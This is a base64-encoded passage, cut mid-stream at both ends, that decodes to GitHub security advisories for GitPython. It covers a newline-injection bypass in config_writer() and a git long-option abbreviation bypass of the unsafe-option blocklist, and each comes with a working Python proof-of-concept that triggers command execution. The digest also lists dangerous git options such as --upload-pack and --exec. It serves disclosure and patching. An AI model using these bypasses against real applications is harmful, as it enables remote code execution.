lDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob246IE5ld2xpbmUgaW5qZWN0aW9uIGluIGNvbmZpZ193cml0ZXIoKSBzZWN0aW9uIHBhcmFtZXRlciBieXBhc3NlcyBDVkUtMjAyNi00MjIxNSBwYXRjaCwgZW5hYmxpbmcgUkNFIHZpYSBjb3JlLmhvb2tzUGF0aApbR0hTQS1tdjkzLXc3OTktY2oyd10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1tdjkzLXc3OTktY2oydykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzClN1bW1hcnkKClRoZSBwYXRjaCBmb3IgQ1ZFLTIwMjYtNDIyMTUgKEdpdFB5dGhvbiAzLjEuNDkpIHZhbGlkYXRlcyBuZXdsaW5lcyBvbmx5IGluIHRoZSB2YWx1ZSBwYXJhbWV0ZXIgb2Ygc2V0X3ZhbHVlKCkuIFRoZSBzZWN0aW9uIGFuZCBvcHRpb24gcGFyYW1ldGVycyBhcmUgcGFzc2VkIHRvIGNvbmZpZ3BhcnNlciB3aXRob3V0IGFueSBuZXdsaW5lIHZhbGlkYXRpb24uIEFuIGF0dGFja2VyIHdobyBjb250cm9scyB0aGUgc2VjdGlvbiBhcmd1bWVudCBjYW4gaW5qZWN0IFxuIHRvIHdyaXRlIGFyYml0cmFyeSBzZWN0aW9uIGhlYWRlcnMgaW50byAuZ2l0L2NvbmZpZywgaW5jbHVkaW5nIGEgZm9yZ2VkIFtjb3JlXSBzZWN0aW9uIHdpdGggaG9va3NQYXRoIHBvaW50aW5nIHRvIGFuIGF0dGFja2VyLWNvbnRyb2xsZWQgZGlyZWN0b3J5LCBsZWFkaW5nIHRvIFJDRSB3aGVuIGFueSBnaXQgaG9vayBpcyB0cmlnZ2VyZWQuCgpEZXRhaWxzCgpGaWxlOiBnaXQvY29uZmlnLnB5IOKAlCBHaXRQeXRob24gMy4xLjQ5IChsYXRlc3QgcGF0Y2hlZCB2ZXJzaW9uKQoKYGBgcHl0aG9uCiAgZGVmIHNldF92YWx1ZShzZWxmLCBzZWN0aW9uOiBzdHIsIG9wdGlvbjogc3RyLCB2YWx1ZSkgLT4gIkdpdENvbmZpZ1BhcnNlciI6CiAgICAgIHZhbHVlX3N0ciA9IHNlbGYuX3ZhbHVlX3RvX3N0cmluZ19zYWZlKHZhbHVlKSAgICMgb25seSB2YWx1ZSBpcyB2YWxpZGF0ZWQKICAgICAgaWYgbm90IHNlbGYuaGFzX3NlY3Rpb24oc2VjdGlvbik6CiAgICAgICAgICBzZWxmLmFkZF9zZWN0aW9uKHNlY3Rpb24pICAgICAgICAgICAgICAgICAgICAjIHNlY3Rpb24gbm90IHZhbGlkYXRlZAogICAgICBzdXBlcigpLnNldChzZWN0aW9uLCBvcHRpb24sIHZhbHVlX3N0cikgICAgICAgICAgIyBvcHRpb24gbm90IHZhbGlkYXRlZAogICAgICByZXR1cm4gc2VsZgpgYGAKCl93cml0ZSgpIGZvcm1hdHMgc2VjdGlvbiBoZWFkZXJzIGFzICJbJXNdXG4iICUgbmFtZS4gV2hlbiBzZWN0aW9uID0gInVzZXJdXG5bY29yZSIsIHRoaXMgd3JpdGVzIFt1c2VyXVxuW2NvcmVdXG4g4oCUIHR3byB2YWxpZCBzZWN0aW9uIGhlYWRlcnMg4oCUIGludG8gLmdpdC9jb25maWcuCgpQb0MKCmBgYHB5dGhvbgogIGltcG9ydCBnaXQsIG9zLCBzdWJwcm9jZXNzCgogIHJlcG8gPSBnaXQuUmVwby5pbml0KCIvdG1wL2J5cGFzc190ZXN0IikKCiAgb3MubWFrZWRpcnMoIi90bXAvZXZpbF9ob29rcyIsIGV4aXN0X29rPVRydWUpCiAgd2l0aCBvcGVuKCIvdG1wL2V2aWxfaG9va3MvcHJlLWNvbW1pdCIsICJ3IikgYXMgZjoKICAgICAgZi53cml0ZSgiIyEvYmluL3NoXG5pZCA+IC90bXAvcmNlX3Byb29mLnR4dFxuIikKICBvcy5jaG1vZCgiL3RtcC9ldmlsX2hvb2tzL3ByZS1jb21taXQiLCAwbzc1NSkKCiAgIyBJbmplY3QgbmV3bGluZSBpbnRvIHNlY3Rpb24gcGFyYW1ldGVyIChub3QgdmFsdWUg4oCUIGFscmVhZHkgcGF0Y2hlZCkKICB3aXRoIHJlcG8uY29uZmlnX3dyaXRlcigpIGFzIGN3OgogICAgICBjdy5zZXRfdmFsdWUoInVzZXJdXG5bY29yZSIsICJob29rc1BhdGgiLCAiL3RtcC9ldmlsX2hvb2tzIikKCiAgciA9IHN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgIi1DIiwgIi90bXAvYnlwYXNzX3Rlc3QiLCAiY29uZmlnIiwgImNvcmUuaG9va3NQYXRoIl0sCiAgICAgICAgICAgICAgICAgICAgIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSkKICBwcmludChyLnN0ZG91dC5zdHJpcCgpKSAgIyDihpIgL3RtcC9ldmlsX2hvb2tzCgogIHN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgIi1DIiwgIi90bXAvYnlwYXNzX3Rlc3QiLCAiY29tbWl0IiwgIi0tYWxsb3ctZW1wdHkiLCAiLW0iLCAieCJdKQogIHByaW50KG9wZW4oIi90bXAvcmNlX3Byb29mLnR4dCIpLnJlYWQoKSkgICMg4oaSIHVpZD0xMDAwKC4uLikgUkNFIGNvbmZpcm1lZApgYGAKCkltcGFjdAoKU2FtZSBhdHRhY2sgb3V0Y29tZSBhcyBDVkUtMjAyNi00MjIxNSAoUkNFIHZpYSBjb3JlLmhvb2tzUGF0aCBpbmplY3Rpb24pLiBUaGUgcGF0Y2ggaXMgaW5jb21wbGV0ZSDigJQgb25seSB2YWx1ZSBpcyB2YWxpZGF0ZWQgd2hpbGUgc2VjdGlvbiBhbmQgb3B0aW9uIHJlbWFpbiBpbmplY3RhYmxlLgoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDcuMCAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjMuMS9BVjpML0FDOkgvUFI6Ti9VSTpSL1M6VS9DOkgvSTpIL0E6SGAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1tdjkzLXc3OTktY2oyd10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtbXY5My13Nzk5LWNqMncpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtbXY5My13Nzk5LWNqMnddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtbXY5My13Nzk5LWNqMncpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtbXY5My13Nzk5LWNqMncpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIEdpdFB5dGhvbjogQ29tbWFuZCBJbmplY3Rpb24gdmlhIGdpdCBsb25nLW9wdGlvbiBwcmVmaXggYWJicmV2aWF0aW9uIGJ5cGFzcyBvZiBDVkUtMjAyNi00MjIxNSBibG9ja2xpc3QKW0dIU0EtMmY5Ni1nN21oLWcyaHhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtMmY5Ni1nN21oLWcyaHgpCgo8ZGV0YWlscz4KPHN1bW1hcnk+TW9yZSBpbmZvcm1hdGlvbjwvc3VtbWFyeT4KCiMjIyMgRGV0YWlscwojIyMjIyBDb21tYW5kIGluamVjdGlvbiB2aWEgbG9uZy1vcHRpb24gcHJlZml4IGFiYnJldmlhdGlvbiBieXBhc3NpbmcgYGNoZWNrX3Vuc2FmZV9vcHRpb25zYCAoaW5jb21wbGV0ZSBmaXggb2YgQ1ZFLTIwMjYtNDIyMTUgLyBHSFNBLXJwbTUtNjVjdy02aGo0KQoKKipDb21wb25lbnQ6KiogZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uIChQeVBJOiBHaXRQeXRob24pCioqQWZmZWN0ZWQ6KiogYWxsIHZlcnNpb25zIGNhcnJ5aW5nIHRoZSAzLjEuNDcgYmxvY2tsaXN0IGZpeCwgdGhyb3VnaCBjdXJyZW50IGBtYWluYCAodmVyaWZpZWQgYXQgY29tbWl0IGAyMGM1ZTI3NWAsIGAzLjEuNTAtNDJgKQoqKkNXRToqKiBDV0UtMTg0IChJbmNvbXBsZXRlIExpc3Qgb2YgRGlzYWxsb3dlZCBJbnB1dHMpIOKGkiBDV0UtNzggKE9TIENvbW1hbmQgSW5qZWN0aW9uKQoqKlNldmVyaXR5OioqIGluaGVyaXRzIHRoZSBwYXJlbnQgQ1ZFLTIwMjYtNDIyMTUgc3VyZmFjZTsgZXN0aW1hdGVkIEhpZ2gsIH44LjggKGBBVjpOL0FDOkwvUFI6TC9VSTpOL1M6VS9DOkgvSTpIL0E6SGApIOKAlCBmaW5hbCBzY29yaW5nIGRlZmVycmVkIHRvIG1haW50YWluZXIvQ05BLCBtaXJyb3JpbmcgdGhlIHBhcmVudC4KKipSZXBvcnRlcjoqKiBoYWNra2ltCgojIyMjIyBTdW1tYXJ5CgpUaGUgMy4xLjQ3IGZpeCBmb3IgQ1ZFLTIwMjYtNDIyMTUgYmxvY2tzIGRhbmdlcm91cyBnaXQgb3B0aW9ucyAoYC0tdXBsb2FkLXBhY2tgLCBgLS1jb25maWdgLCBgLWNgLCBgLXVgIGZvciBjbG9uZTsgYC0tdXBsb2FkLXBhY2tgIGZvciBmZXRjaC9wdWxsOyBgLS1yZWNlaXZlLXBhY2tgLCBgLS1leGVjYCBmb3IgcHVzaCkgc28gY2FsbGVycyBjYW5ub3QgcmVhY2ggY29tbWFuZC1leGVjdXRpbmcgb3B0aW9ucyB1bmxlc3MgdGhleSBwYXNzIGBhbGxvd191bnNhZmVfb3B0aW9ucz1UcnVlYC4KClRoZSBmaXggY2Fub25pY2FsaXplcyBhbiBvcHRpb24gbmFtZSBhbG9uZyAqKm9uZSoqIGF4aXMgKHVuZGVyc2NvcmXihpJoeXBoZW4gdmlhIGBkYXNoaWZ5YCkgYW5kIGNoZWNrcyBpdCBhZ2FpbnN0IGFuICoqZXhhY3QtbWF0Y2gqKiBkaWN0LiBJdCBkb2VzIG5vdCBhY2NvdW50IGZvciBnaXQncyB1bmFtYmlndW91cyBsb25nLW9wdGlvbiBwcmVmaXggYWJicmV2aWF0aW9uLiBHaXQgYWNjZXB0cyBhbnkgdW5hbWJpZ3VvdXMgcHJlZml4IG9mIGEgbG9uZyBvcHRpb24gKGAtLXVwbG9hZC1wYCwgYC0tdXBsb2FkLXBhYCwgYC0tdXBsb2FkLXBhY2AgYWxsIHJlc29sdmUgdG8gYC0tdXBsb2FkLXBhY2tgKS4gU28gYSBrd2FyZyBrZXkgbGlrZSBgdXBsb2FkX3BgIGNhbm9uaWNhbGl6ZXMgdG8gYHVwbG9hZC1wYCwgbWlzc2VzIHRoZSBibG9ja2xpc3QgZGljdCwgYW5kIGlzIGVtaXR0ZWQgdG8gZ2l0IGFzIGAtLXVwbG9hZC1wPTx2YWx1ZT5gIOKGkiBleGVjdXRlZCBhcyBgLS11cGxvYWQtcGFjaz08dmFsdWU+YCDihpIgY29tbWFuZCBpbmplY3Rpb24sIGluIHRoZSBkZWZhdWx0IGBhbGxvd191bnNhZmVfb3B0aW9ucz1GYWxzZWAgY29uZmlndXJhdGlvbi4KCiMjIyMjIFRoZSBhc3ltbWV0cnkgKHJvb3QgY2F1c2UpCgpgYGBweXRob24KCiMjIyMjIGdpdC9jbWQucHkgKGNvbW1pdCAyMGM1ZTI3NSksIGxpbmVzIDk0OC05NzQKQGNsYXNzbWV0aG9kCmRlZiBfY2Fub25pY2FsaXplX29wdGlvbl9uYW1lKGNscywgb3B0aW9uKToKICAgIG9wdGlvbl9uYW1lID0gb3B0aW9uLmxzdHJpcCgiLSIpLnNwbGl0KCI9IiwgMSlbMF0KICAgIG9wdGlvbl90b2tlbnMgPSBvcHRpb25fbmFtZS5zcGxpdChOb25lLCAxKQogICAgaWYgbm90IG9wdGlvbl90b2tlbnM6CiAgICAgICAgcmV0dXJuICIiCiAgICByZXR1cm4gZGFzaGlmeShvcHRpb25fdG9rZW5zWzBdKSAgICAgICMgb25seSB0cmFuc2Zvcm06ICJfIiAtPiAiLSIKCkBjbGFzc21ldGhvZApkZWYgY2hlY2tfdW5zYWZlX29wdGlvbnMoY2xzLCBvcHRpb25zLCB1bnNhZmVfb3B0aW9ucyk6CiAgICBjYW5vbmljYWxfdW5zYWZlX29wdGlvbnMgPSB7Y2xzLl9jYW5vbmljYWxpemVfb3B0aW9uX25hbWUobyk6IG8gZm9yIG8gaW4gdW5zYWZlX29wdGlvbnN9CiAgICBmb3Igb3B0aW9uIGluIG9wdGlvbnM6CiAgICAgICAgdW5zYWZlX29wdGlvbiA9IGNhbm9uaWNhbF91bnNhZmVfb3B0aW9ucy5nZXQoY2xzLl9jYW5vbmljYWxpemVfb3B0aW9uX25hbWUob3B0aW9uKSkKICAgICAgICBpZiB1bnNhZmVfb3B0aW9uIGlzIG5vdCBOb25lOgogICAgICAgICAgICByYWlzZSBVbnNhZmVPcHRpb25FcnJvciguLi4pCmBgYAoKVGhlIGd1YXJkIG5vcm1hbGl6ZXMgb25seSBgX2DihpJgLWAgYW5kIGRvZXMgZXhhY3QgZGljdCBtZW1iZXJzaGlwLiBHaXQncyBDTEkgcGFyc2VyIGFjY2VwdHMgYSBicm9hZGVyIGdyYW1tYXIgKHByZWZpeCBhYmJyZXZpYXRpb24pIHRoYW4gdGhlIGd1YXJkIG1vZGVscywgc28gYWJicmV2aWF0ZWQga2V5cyBzbGlwIHRocm91Z2ggYW5kIHJlYWNoIGdpdCBhcyB0aGUgYmxvY2tlZCBvcHRpb24uCgojIyMjIyBBZmZlY3RlZCBjb2RlIChjb21taXQgYDIwYzVlMjc1YCkKCnwgTG9jYXRpb24gfCBSb2xlIHwKfC0tLXwtLS18CnwgYGdpdC9jbWQucHk6OTQ4LTk2MGAgYF9jYW5vbmljYWxpemVfb3B0aW9uX25hbWVgIHwgY2Fub25pY2FsaXplciDigJQgbm8gcHJlZml4IGV4cGFuc2lvbiB8CnwgYGdpdC9jbWQucHk6OTYzLTk3NGAgYGNoZWNrX3Vuc2FmZV9vcHRpb25zYCB8IGV4YWN0LW1hdGNoIGRpY3QgbG9va3VwICh0aGUgaW5jb21wbGV0ZSBndWFyZCkgfAp8IGBnaXQvY21kLnB5OjE1MTFgIGB0cmFuc2Zvcm1fa3dhcmdgIHwgZW1pdHMgYC0tPGRhc2hpZnkobmFtZSk+PTx2YWx1ZT5gIHRvIHRoZSBDTEkgfAp8IGBnaXQvcmVwby9iYXNlLnB5OjE0MTEsMTQxM2AgfCBjbG9uZSBjYWxsIHNpdGVzIHwKfCBgZ2l0L3JlbW90ZS5weToxMDc0LDExMjgsMTIwMWAgfCBmZXRjaCAvIHB1bGwgLyBwdXNoIGNhbGwgc2l0ZXMgfAoKIyMjIyMgQnlwYXNzIGtleXMgKHZlcmlmaWVkKQoKfCBrd2FyZyBrZXkgfCBnaXQgcmVzb2x2ZXMgdG8gfCBwYXRoIHwgd2VhcG9uaXphYmxlIHwKfC0tLXwtLS18LS0tfC0tLXwKfCBgdXBsb2FkX3BgLCBgdXBsb2FkX3BhY2AgfCBgLS11cGxvYWQtcGFja2AgfCBjbG9uZSAvIGZldGNoIC8gcHVsbCB8IFllcyDigJQgZGlyZWN0IFJDRSB8CnwgYHJlY2VpdmVfcGAgfCBgLS1yZWNlaXZlLXBhY2tgIHwgcHVzaCB8IFllcyDigJQgZGlyZWN0IFJDRSB8CnwgYGV4ZWAgfCBgLS1leGVjYCB8IHB1c2ggfCBZZXMg4oCUIGRpcmVjdCBSQ0UgfAp8IGBjb25mYCwgYGNvbmZpYCB8IGAtLWNvbmZpZ2AgfCBjbG9uZSB8IGJ5cGFzc2VzIG9wdGlvbiBibG9ja2xpc3Q7IFJDRSBuZWVkcyBhbiBhZGRpdGlvbmFsIGNvbmZpZyB2ZWN0b3IgKHNlZSBub3RlKSB8CgojIyMjIyBNaW5pbWFsIFBvQwoKU2VsZi1jb250YWluZWQsIG5vIG5ldHdvcmsgZWdyZXNzIChhIGxvY2FsIGJhcmUgcmVwbyBhY3RzIGFzIHRoZSAicmVtb3RlIikuIFRlc3RlZCBvbiBjdXJyZW50IGBtYWluYCAoZ2l0IDIuNTAuMSk6CgpgYGBweXRob24KaW1wb3J0IG9zLCBzdGF0LCB0ZW1wZmlsZQpmcm9tIGdpdCBpbXBvcnQgUmVwbwoKd29yayA9IHRlbXBmaWxlLm1rZHRlbXAoKQptYXJrZXIgPSBvcy5wYXRoLmpvaW4od29yaywgIlJDRV9NQVJLRVIiKQoKIyMjIyMgZmFrZSAidXBsb2FkLXBhY2siIHByb2dyYW0gdGhhdCBwcm92ZXMgYXJiaXRyYXJ5IGNvbW1hbmQgZXhlY3V0aW9uCnByb2cgPSBvcy5wYXRoLmpvaW4od29yaywgImV2aWwuc2giKQp3aXRoIG9wZW4ocHJvZywgInciKSBhcyBmOgogICAgZi53cml0ZShmIiMhL2Jpbi9zaFxudG91Y2gge21hcmtlcn1cbmV4aXQgMVxuIikgICMgZXhpdCAxIHNvIGdpdCBhYm9ydHMgYWZ0ZXIgb3VyIGNvZGUgcmFuCm9zLmNobW9kKHByb2csIG9zLnN0YXQocHJvZykuc3RfbW9kZSB8IHN0YXQuU19JRVhFQykKCmJhcmUgPSBvcy5wYXRoLmpvaW4od29yaywgInJlbW90ZS5naXQiKQpSZXBvLmluaXQoYmFyZSwgYmFyZT1UcnVlKQoKIyMjIyMgYXR0YWNrZXItY29udHJvbGxlZCBrd2FyZyBLRVkgJ3VwbG9hZF9wJyAtPiAtLXVwbG9hZC1wPTxwcm9nPiAtPiBnaXQgcnVucyA8cHJvZz4KdHJ5OgogICAgUmVwby5jbG9uZV9mcm9tKGJhcmUsIG9zLnBhdGguam9pbih3b3JrLCAib3V0IiksIHVwbG9hZF9wPXByb2cpCmV4Y2VwdCBFeGNlcHRpb246CiAgICBwYXNzICAjIGdpdCBhYm9ydHMgd2l0aCBHaXRDb21tYW5kRXJyb3IgQUZURVIgdGhlIHBheWxvYWQgZXhlY3V0ZWQKCnByaW50KCJSQ0UgbWFya2VyIGNyZWF0ZWQ6Iiwgb3MucGF0aC5leGlzdHMobWFya2VyKSkgICMgVHJ1ZSAtPiBjb21tYW5kIGluamVjdGlvbiBjb25maXJtZWQKYGBgCgpFcXVpdmFsZW50IGF0IHRoZSBzaGVsbDogYGdpdCBjbG9uZSAtLXVwbG9hZC1wPS90bXAvZXZpbC5zaCBzcmMgb3V0YCBydW5zIGBldmlsLnNoYC4KCkNvbmZpcm1lZCBiZWhhdmlvcjoKLSBgdXBsb2FkX3BhY2tgIChleGFjdCkg4oaSIGJsb2NrZWQ7IGB1cGxvYWRfcGAgKGFiYnJldikg4oaSIHBhc3NlcyBndWFyZCwgcmVhY2hlcyBnaXQsIGV4ZWN1dGVzLiBUaGUgZml4IHdvcmtzIGZvciB0aGUgZm9ybSBpdCBtb2RlbHMgYnV0IG5vdCB0aGUgYWJicmV2aWF0ZWQgZm9ybS4KLSBgYWxsb3dfdW5zYWZlX29wdGlvbnM9VHJ1ZWAgb3B0LW91dCBiZWhhdmVzIGFzIGRvY3VtZW50ZWQgKG91dCBvZiBzY29wZSkuCgojIyMjIyBIb25lc3Qgc2NvcGUgbm90ZQoKTGlrZSB0aGUgcGFyZW50IENWRSwgZXhwbG9pdGF0aW9uIHJlcXVpcmVzIGEgaG9zdCBhcHBsaWNhdGlvbiB0aGF0IGZsb3dzIGF0dGFja2VyLWNvbnRyb2xsZWQga3dhcmcgKiprZXlzKiogaW50byBhIEdpdFB5dGhvbiBjbG9uZS9mZXRjaC9wdWxsL3B1c2guIFdoZXJlIHRoZSBob3N0IHBhc3NlcyBvbmx5IGZpeGVkL3ZhbGlkYXRlZCBrZXlzLCB0aGlzIGlzIG5vdCByZWFjaGFibGUg4oCUIHRoZSB2dWxuZXJhYmlsaXR5IGlzIGluIHRoZSBsaWJyYXJ5J3MgZG9jdW1lbnRlZCBkZWZlbnNlLWluLWRlcHRoIGNvbnRyb2wgKGBhbGxvd191bnNhZmVfb3B0aW9ucz1GYWxzZWApLCB3aGljaCB0aGlzIHZhcmlhbnQgZGVmZWF0cy4KCk9uIHRoZSBgLS1jb25maWdgIGZhbWlseTogYGNvbmZgIGJ5cGFzc2VzIHRoZSBvcHRpb24gYmxvY2tsaXN0LCBidXQgd2VhcG9uaXppbmcgYC0tY29uZmlnIHByb3RvY29sLmV4dC5hbGxvdz1hbHdheXNgIHZpYSBhbiBgZXh0OjpgIFVSTCBpcyBpbmRlcGVuZGVudGx5IGJsb2NrZWQgYnkgR2l0UHl0aG9uJ3MgcHJvdG9jb2wgYWxsb3dsaXN0IChgYWxsb3dfdW5zYWZlX3Byb3RvY29scz1GYWxzZWApLiBUaGUgZGlyZWN0bHkgd2VhcG9uaXphYmxlIGZhbWlseSBpcyBgdXBsb2FkLXBhY2tgIC8gYHJlY2VpdmUtcGFja2AgLyBgZXhlY2AuIFJlcG9ydGVkIHRyYW5zcGFyZW50bHkg4oCUIG5vdCBjbGFpbWluZyBDcml0aWNhbC4KCiMjIyMjIFN1Z2dlc3RlZCByZW1lZGlhdGlvbiAoYW55IG9uZSkKCjEuICoqUHJlZml4LWF3YXJlIG1hdGNoaW5nOioqIHJlamVjdCBhbnkgb3B0aW9uIHdob3NlIGNhbm9uaWNhbCBuYW1lIGlzIGFuIHVuYW1iaWd1b3VzIHByZWZpeCBvZiBhIGJsb2NrZWQgb3B0aW9uICjiiYggYHN0YXJ0c3dpdGhgIG9uIHRoZSBibG9ja2VkIGNhbm9uaWNhbCBuYW1lLCBhZnRlciBgZGFzaGlmeWApLgoyLiAqKkRpc2FibGUgYWJicmV2aWF0aW9uIGF0IHRoZSBzaW5rOioqIHBhc3MgYC0tZW5kLW9mLW9wdGlvbnNgIG9yIGludm9rZSBnaXQgaW4gYSB3YXkgdGhhdCBkaXNhYmxlcyBsb25nLW9wdGlvbiBhYmJyZXZpYXRpb24uCjMuICoqQWxsb3dsaXN0Kiogb3B0aW9uIG5hbWVzIG9uIHNlY3VyaXR5LXNlbnNpdGl2ZSBzdWJjb21tYW5kcyBpbnN0ZWFkIG9mIGEgYmxvY2tsaXN0LgoKUmVtZWRpYXRpb24gc2hvdWxkIGFsc28gY292ZXIgdGhlIGAtY2AvYC0tY29uZmlnYCBmYW1pbHkgYWJicmV2aWF0aW9ucywgZXZlbiB0aG91Z2ggdGhlIGBleHQ6OmAgcm91dGUgaXMgY3VycmVudGx5IGdhdGVkIGJ5IHRoZSBwcm90b2NvbCBhbGxvd2xpc3QuCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogOC44IC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6My4xL0FWOk4vQUM6TC9QUjpML1VJOk4vUzpVL0M6SC9JOkgvQTpIYAoKIyMjIyBSZWZlcmVuY2VzCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLTJmOTYtZzdtaC1nMmh4XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS0yZjk2LWc3bWgtZzJoeCkKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIxNjFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTYxKQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC81NjgwNjA4MGMxMzQ4NzQ5YjA3ZGFhNGEyMDI0Y2U0N2IzY2FkMjg1XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC81NjgwNjA4MGMxMzQ4NzQ5YjA3ZGFhNGEyMDI0Y2U0N2IzY2FkMjg1KQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS41MSkKLSBbaHR0cHM6Ly9naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS0yZjk2LWc3bWgtZzJoeF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS0yZjk2LWc3bWgtZzJoeCkKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSB0aGUgW0dpdEh1YiBBZHZpc29yeSBEYXRhYmFzZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS0yZjk2LWc3bWgtZzJoeCkgKFtDQy1CWSA0LjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UvYmxvYi9tYWluL0xJQ0VOU0UubWQpKS4KPC9kZXRhaWxzPgoKLS0tCgojIyMgR2l0UHl0aG9uOiBjb21tYW5kIGluamVjdGlvbiB2aWEgdW5ndWFyZGVkIEdpdCBvcHRpb25zIGluIGBSZXBvLmFyY2hpdmUoKWAsIGBnaXQubHNfcmVtb3RlKClgLCBhbmQgYXJiaXRyYXJ5IGZpbGUgb3ZlcndyaXRlIHZpYSBgUmVwby5pdGVyX2NvbW1pdHMoKWAgLyBgUmVwby5ibGFtZSgpYApbR0hTQS05NTZ4LThndnctd2c1dl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS05NTZ4LThndnctd2c1dikKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKCkdpdFB5dGhvbiBzcGF3bnMgdGhlIHJlYWwgYGdpdGAgYmluYXJ5IHdpdGggYW4gYXJndW1lbnQgdmVjdG9yIGJ1aWx0IGZyb20gY2FsbGVyLXN1cHBsaWVkIHZhbHVlcy4gVG8gcHJldmVudCBhcmd1bWVudCBpbmplY3Rpb24sIEdpdFB5dGhvbiBtYWludGFpbnMgZGVueWxpc3RzIG9mICJ1bnNhZmUiIEdpdCBvcHRpb25zIChgLS11cGxvYWQtcGFja2AsIGAtLXJlY2VpdmUtcGFja2AsIGAtLWV4ZWNgLCBgLWNgLCBgLS1jb25maWdgLCDigKYpIHRoYXQgY2FuIGJlIGFidXNlZCB0byBydW4gYXJiaXRyYXJ5IGNvbW1hbmRzLCBhbmQgZW5mb3JjZXMgdGhlbSB3aXRoIGBHaXQuY2hlY2tfdW5zYWZlX29wdGlvbnMoKWAuCgpUaGF0IGVuZm9yY2VtZW50IGlzIG9ubHkgd2lyZWQgaW50byB0aGUgKipuZXR3b3JrKiogY29tbWFuZHMg4oCUIGBjbG9uZV9mcm9tYCwgYFJlbW90ZS5mZXRjaGAsIGBSZW1vdGUucHVsbGAsIGBSZW1vdGUucHVzaGAuIFNldmVyYWwgb3RoZXIgcHVibGljIEFQSXMgdGhhdCBhbHNvIGZvcndhcmQgY2FsbGVyLWNvbnRyb2xsZWQgdmFsdWVzIGludG8gdGhlIGBnaXRgIGFyZ3YgaGF2ZSAqKm5vIGd1YXJkIGF0IGFsbCoqOgoKMS4gKipgUmVwby5hcmNoaXZlKG9zdHJlYW0sIHRyZWVpc2g9Tm9uZSwgcHJlZml4PU5vbmUsICoqa3dhcmdzKWAqKiBmb3J3YXJkcyBgKiprd2FyZ3NgIHZlcmJhdGltIGludG8gYGdpdCBhcmNoaXZlYC4gQW4gYXR0YWNrZXItaW5mbHVlbmNlZCBvcHRpb25zIG1hcHBpbmcgc3VjaCBhcyBge